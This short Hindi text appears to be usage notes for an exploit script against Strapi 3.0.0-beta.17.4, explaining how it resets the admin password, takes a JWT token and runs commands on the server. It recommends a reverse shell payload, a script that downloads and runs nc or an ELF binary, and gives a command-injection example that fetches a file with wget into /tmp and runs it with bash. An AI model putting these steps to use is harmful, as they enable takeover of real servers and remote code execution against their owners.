
Strapi Framework, 3.0.0-beta.17.4
स्क्रिप्ट "updated_pass" चर में घोषित पासवर्ड को रीसेट करने का प्रयास करेगी, यदि सफल होती है - तो यह Strapi से एक JWT टोकन देगी और इसका उपयोग कमांड निष्पादित करने के लिए करेगी। बाइंड कमांड तब तक काम नहीं करेंगे जब तक कि bash या python या जो भी हो, के साथ एक रिवर्स शेल पेलोड न भेजा जाए। आप एक .sh फ़ाइल उत्पन्न कर सकते हैं जो आपके लिए nc डाउनलोड करेगी और इसे निष्पादित करेगी, या वास्तव में कुछ भी। यहाँ तक कि elf। ऐसा करने के लिए, payload_exp को && से ) में बदलें। उदाहरण के लिए, && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) URL अब सक्रिय नहीं है।